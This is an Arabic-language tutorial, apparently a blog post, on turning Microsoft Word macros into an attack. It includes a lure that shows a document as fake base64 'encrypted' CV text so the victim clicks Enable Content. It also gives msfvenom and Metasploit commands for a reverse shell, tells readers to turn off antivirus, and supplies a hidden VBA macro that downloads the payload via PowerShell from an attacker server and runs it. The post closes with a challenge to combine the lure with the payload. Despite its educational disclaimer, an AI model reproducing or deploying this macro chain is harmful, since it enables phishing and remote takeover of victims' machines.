Execution with Office
MyMacro
سلام عليكم، إن شاءالله في هذا المقال ساقوم بشرح كيف يتم إستغلال Ms Office Macro من اجل الحصول على إتصال عكسي مع جهاز الضحية وايضاً ساتطرق إلى اسلوب الهندسة الإجتماعية. للعلم، ما يتم عرضه في هذا المحتوى هو من هدف تعليمي وتوعوي وفهم آليه عمل الاخترق من قبل Ms Office Macro. الكاتب يخلي المسؤوليه التامة في حالة اساءت الاستخدام.
تعد Microsoft Office احد مجموعات البرامج الشائعة جدًا والتي يتم استخدامها في جميع المؤسسات والشركات والحواسيب الشخصية وتعد من اهم البرامج الموثوقة ونظرًا لشعبيتها، تعد تطبيقات Office هدفاً رئيسياً لتصيد الاحتيال، فيما يتم تحديث البرنامج من قبل Microsoft بشكل دوري لتفادي اي ثغرات امنية. كذلك اعتذر للجميع لاني لن اتطرق إلى شرح ما هو الـ Macro وفيما يستخدم ولكن المصادر العلنية شرحت عملها بالتفصيل.
- تذكر ان هجمات Macro تعمل فقط على doc. او docm. وتاكد بان يتم تخزين الملف على إنه Word 97-2003 Document وإلا فلن يعمل معك
اولا: لنبداء ببعض الاساسيات ونقوم بإنشاء ملف جديد ونقوم بتخزينه على إصدار 2003-97 بإسم Doc1.doc ومن ثم الذهاب إلى View ونختار Macro
نقوم بتسمية الـ Macro ومن الممكن ان يتم تسميته باي شي ولكن في هذا المثال، سيكون MyMacro، وايضاً لا ننسى ان نختار إسم الملف الذي سنعمل عليه وهو نفس الملف الحالي لذلك سنختار Doc1
نقوم بتغير محتوا نافذت ال vba ونضع هذه الاوامر والتي من شأنها ان تعمل MsgBox عندف فتح الملف.
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
MsgBox ("This is a macro test")
End Sub
نقوم بحفظ التغيرات الحاصله على الملف ونقوم بفتح الملف مرة آخرى وسنلاحظ إن هناك رسالة تحذيرية ويجب علينا ان نضغط على Enable Content كما سنلاحظ بان الرسالة التحذيرية توضح بوجود Macros ولكنه Disable. هذا هو إعداد الأمان الافتراضي لأي تطبيق من تطبيقات Office
توجد طريقة متقدمة لإخفاء تلك الرسالة التحذيرية ولكن لن اتطرق لها لدواعي امنية والحفاظ على المستوى الاخلاقي
في حال تم الضغط على Enable Content، فإن نافذ جديدة ستظهر امامك او ما يسمي بـ MsgBox، وفي كل مرة يتم فتح الملف، ستظهر تلك الرسالة.
ممتاز….
لنقم بتطوير الـ vba code قليلاً ونجعله يفتح لنا نافذه cmd فلتكن الاوامر كالتالي
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Call Shell("cmd.exe" & dosCmd, vbNormalFocus)
End Sub
فالنحفظ المحلف بحسب المتفق عليه باصدار 2003-97 ونعيد فتح المجلد من جديد
ممتاز…
لنقم بالتفكير قليلاً، هل من الممكن ان نجعل cmd يعمل في الخلفية دون ظهوره في الشاشة؟ وهل نستطيع تشغيل تطبيق اخر دون الـcmd؟ نعم، كل ذلك ممكن عمله ولكن ساترك المجال لكم من الجل التفكير فالحل
الآن سننتقل إلى مرحلة متقدمة قليلا وهي استخدام ملف مشفر من اجل إقناع الضحية بضغط على Enable Content وان نوهمه بان الملف مشفر ويجب ان يضغط عليه ليحصل على Clear Text. تذكر يا عزيزي، كل هذا من الجل التعليم والتوعيه وليس من اجل الهجوم والإختراق
التمرين الاولى: لنختار ملف معين ويكون مهم جداً فلنقل ان الملف هو عباره عن سيرة ذاتية، حيث سنقوم بتشفير هذا الملف، هنا الملف قبل التشفير
نقوم بتحديد الكل وثم نذهب إلى
Insert ---> Quick Parts ---> AutoText ---> Save Selection to AutoText Gallery ونقوم بتخزين الـ Block بنفس اسم الملف (في هذا المثال هو MyCV) ومن ثم نضغط OK
-الان نذهب إلى base64encoder من اجل تشفير المحتوى
نقوم بتحديد الكل ونلزق المحتوي المشفر إلي الملف ونظيف بعض المسطلحات لنوهم المستلم بان هذا الملف فعلاً تم تشفيره من اجل الحفاظ على سرية بيانات الشخص
ممتاز، الان لننتقل إلى الـ Macro ولا ننسى ان نختار الملف الحالي وهو MyCV، ونضع هذه الاوامر من اجل إسترجاع النص الاصلي
Sub Document_Open()
SubstitutePage
End Sub
Sub AutoOpen()
SubstitutePage
End Sub
Sub SubstitutePage()
ActiveDocument.Content.Select
Selection.Delete
ActiveDocument.AttachedTemplate.AutoTextEntries("MyCV").Insert Where:=Selection.Range, RichText:=True
End Sub
نحفظ الملف ونعيد فتحه من جديد وكما نلاحظ ظهرت لدينا نافذه الرساله التحذيرية وهنا ستوظف الهندسة الإجتماعية في اقناع الشخص بالضغط على Enable content
نحفظ الملف ونعيد فتحه من جديد وكما نلاحظ ظهرت لدينا نافذه الرساله التحذيرية وهنا ستوظف الهندسة الإجتماعية في اقناع الشخص بالضغط على Enable content، وفر الضغط سيحصل المستخدم على النص بكل في Clear Text.
حسناً، كما لاحضنا سابقاً ان من خلال الـ vba code استطعنا ان نفتح cmd وكذلك نستطيع ان نفتح اي تطبيق آخر، همممممممم، هل نستطيح ان نجعل powershell يتصل بجهازي من اجل تنزيل ملف معين ام لا؟ نعم ممكن، ،من هنا سادخل في صلب الموضوع وهو عمل PoC
التمرين الثاني: نقوم بصنع payload شخصيا ساستخدم
msfvenom -p windows/shell_reverse_tcp LHOST=a.a.a.a LPORT=443 -f exe > msfstaged.exe
قم بإطفاء برامج وجدار الحماية والا سيتم حذف الـPayload
وبعدها نضع الـKali على الـ Listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell_reverse_tcp; set lhost a.a.a.a; set lport 443; run"
نقوم بشغيل الـ http server
python3 -m http.server 80
نقوم بتغير اوامر الـ vba
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://a.a.a.a/msfstaged.exe', 'msfstaged.exe')"
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\msfstaged.exe"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub
لنقوم بشرح الاوامر
اولاً: وضعنا امر الـ Powerhell وهو من اجل تنزيل الملف الخبيث من جهاز المخترق إلى الضحية
ثانياً: استخدمها vbHide من اجل اخفاء تشغيل الـ Powershell آثناء تنفيذ تلك الاوامر
ثالثاً: استخدما exePath من اجل تشغيل الملف وكذلك vbHide للإخفاء
رابعاً: تم إستخدام loop من اجل اخذ الوقت الحالي للجهاز ومقارنته بزمن المستغرق لتنزيل الملف ولذلك لكي لا ينقطع التنزيل ولم يتم تحميل الملف بالشكل الكامل
عند تنفيذ جميع ما سبق فإنك ستحصل على اتصال عكسى من قبل الضحية كما هو موضح فالاسفل
التحدي:
قم بدمج التمرين الاول والثاني مع بعض وقم بالتغيرات اللزمة؟ ابلغني ان واجهتك اي صعوبه في ذلك
تذكر يا عزيزي، كل ما تم شرحه من اجل التعليم والتوعية عن مدى خطورة Macro ولا تسئ الاستخدام او إذاء الغير
هناك الكثير ما يمكنك فعله من خلال الـ Macro اتمنى إني أفدتك ولو fالقليل وإن كان لديك اي معلومة بإمكانك التعليق لاستفيد ويستفيد منها hg[ldu، فإن توفقت في إرسال الرسالة فهذا من فضل ربي وإن قصرت فهذا مني والسلام عليكم ورحمة الله وبركاتة
أخوكم: IronHulk 🎩